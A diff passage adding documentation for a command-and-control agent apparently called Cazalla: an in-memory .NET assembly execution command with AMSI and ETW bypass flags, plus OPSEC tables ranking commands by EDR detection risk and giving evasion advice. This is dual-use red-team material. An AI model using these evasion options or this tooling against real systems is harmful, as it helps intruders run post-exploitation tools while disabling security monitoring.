+--- + +**Command Category:** Execution & Control +**Requires Admin:** No +**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/) + diff --git a/documentation-payload/Cazalla/commands/inline_execute_assembly.md b/documentation-payload/Cazalla/commands/inline_execute_assembly.md new file mode 100644 index 0000000..6a9bf24 --- /dev/null +++ b/documentation-payload/Cazalla/commands/inline_execute_assembly.md @@ -0,0 +1,110 @@ +# inline_execute_assembly - Execute .NET Assembly In-Process + +Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File). + +## Description + +The `inline_execute_assembly` command executes a .NET assembly directly in the current process memory using the Inline-EA BOF developed by @EricEsquivel. This method loads and executes .NET assemblies without creating new processes, providing better OPSEC than traditional process spawning methods. + +## Syntax + +``` +inline_execute_assembly -Assembly [-Arguments ] [--patchexit] [--amsi] [--etw] +``` + +## Parameters + +- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) +- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute +- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly +- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting +- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections +- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately + +## Examples + +``` +# Execute assembly with arguments +inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" + +# Execute with AMSI and ETW bypass +inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw + +# Execute with all bypasses enabled +inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw +``` + +## Features + +- **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes +- **AMSI Bypass**: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll) +- **ETW Bypass**: Optional ETW bypass via EAT hooking +- **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent +- **Output Capture**: Automatically captures and returns assembly output +- **BOF-Based**: Uses the Inline-EA BOF under the hood (executed via `inline_execute`) + +## How It Works + +1. The command creates a subtask that calls `inline_execute` with the Inline-EA BOF +2. The .NET assembly is passed to the BOF as raw bytes +3. The BOF loads the assembly into memory using .NET CLR APIs +4. Optional bypasses (AMSI, ETW) are applied if requested +5. The assembly's entry point is executed with the provided arguments +6. Output is captured and returned to Mythic + +## Output + +``` +[inline_execute_assembly] Assembly execution requested +[BOF Output from Inline-EA] +SharpUp execution started... +[*] Checking for insecure file permissions... +[*] Checking for unquoted service paths... +[+] Found: C:\Program Files\Vulnerable Service\service.exe +``` + +## OPSEC Considerations + +- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact +- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions +- **AMSI Bypass**: Patching clr.dll for AMSI bypass may trigger behavioral detections +- **ETW Bypass**: EAT hooking may be detected by advanced EDR solutions +- **No New Process**: Executes in-process, reducing some detection vectors compared to `execute_assembly` +- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned + +## Technical Details + +### Inline-EA BOF + +This command uses the Inline-EA BOF developed by @EricEsquivel: +- GitHub: https://github.com/EricEsquivel/Inline-EA +- Loads .NET assemblies directly into memory +- Supports AMSI and ETW bypasses +- Prevents assembly from exiting the process + +### Bypass Options + +- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process +- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive) +- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking + +## Error Handling + +The command handles various error scenarios: +- **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic +- **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed +- **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded +- **Bypass Failure**: May fail silently if bypasses cannot be applied + +## Related + +- [`inline_execute`](inline_execute.md) - Execute BOFs directly +- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes +- [Artifacts Support](../features.md#artifacts-support) + +--- + +**Command Category:** Execution & Control +**Requires Admin:** No +**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/) + diff --git a/documentation-payload/Cazalla/features.md b/documentation-payload/Cazalla/features.md index d4450d6..28abe72 100644 --- a/documentation-payload/Cazalla/features.md +++ b/documentation-payload/Cazalla/features.md @@ -153,6 +153,9 @@ Cazalla automatically reports artifacts created during command execution, allowi | Artifact Type | Commands | Description | |--------------|----------|-------------| | **Process Create** | `shell` | Command execution via cmd.exe | +| **Process Create** | `inline_execute` | BOF execution in current process | +| **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process | +| **Process Create** | `execute_assembly` | .NET assembly execution via process injection | | **File Write** | `cp`, `mkdir`, `upload` | File creation or modification | | **File Delete** | `rm` | File or directory deletion | | **File Read** | `download` | File download operations | diff --git a/documentation-payload/Cazalla/opsec.md b/documentation-payload/Cazalla/opsec.md index a458c00..dc66730 100644 --- a/documentation-payload/Cazalla/opsec.md +++ b/documentation-payload/Cazalla/opsec.md @@ -78,6 +78,7 @@ These commands are **highly detectable** and require careful consideration: | Command | Risk Level | Detection Likelihood | Alternatives | |---------|-----------|---------------------|--------------| | `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible | +| `execute_assembly` | HIGH | High (process injection, Donut shellcode) | `inline_execute_assembly` for in-process execution | | `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available | | `rm` (system files) | HIGH | Blocked for safety | Never delete system files | | `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing | @@ -88,6 +89,8 @@ These commands have **moderate detection risk**: | Command | Risk Level | Detection Likelihood | Notes | |---------|-----------|---------------------|-------| +| `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors | +| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | Better OPSEC than `execute_assembly` (no process injection) | | `download` | MEDIUM | File access logging | Large files may trigger DLP | | `upload` | MEDIUM | File write detection | Suspicious extensions monitored | | `socks` | MEDIUM | Network traffic analysis | High bandwidth usage | @@ -115,6 +118,9 @@ These commands have **low detection risk**: **Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor: - **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored) +- **Process Injection**: `execute_assembly` uses Donut shellcode injection (heavily monitored) +- **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned) +- **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections - **Token Manipulation**: `steal_token` and `make_token` generate authentication events - **Memory Access**: Accessing LSASS memory triggers high-priority alerts - **API Hooking**: Keyloggers and screen capture use monitored APIs @@ -122,6 +128,8 @@ These commands have **low detection risk**: **Mitigation Strategies:** - Use built-in Cazalla commands instead of `shell` when possible +- Prefer `inline_execute_assembly` over `execute_assembly` for better OPSEC (in-process vs process injection) +- Use `inline_execute` for BOFs when possible (no process creation) - Prefer `make_token` over `steal_token` when credentials are available - Avoid accessing LSASS or other critical system processes - Use keylogging only when absolutely necessary @@ -321,6 +329,23 @@ Built-in Cazalla commands: - **Detection**: Authentication event logging - **Best Practice**: Less detectable than `steal_token`, use when credentials available +### Code Execution Commands + +#### `inline_execute` +- **Risk**: MEDIUM +- **Detection**: Memory allocation (executable pages), API calls (LoadLibraryA, GetProcAddress), symbol resolution +- **Best Practice**: In-process execution reduces detection vectors compared to process spawning. Use for lightweight operations. + +#### `inline_execute_assembly` +- **Risk**: MEDIUM +- **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections +- **Best Practice**: Better OPSEC than `execute_assembly` (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected. + +#### `execute_assembly` +- **Risk**: HIGH +- **Detection**: Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), Donut shellcode patterns, memory scanning +- **Best Practice**: Use only when necessary. Prefer `inline_execute_assembly` for better OPSEC. High detection risk due to process injection techniques. + #### `rev2self` - **Risk**: LOW - **Detection**: Minimal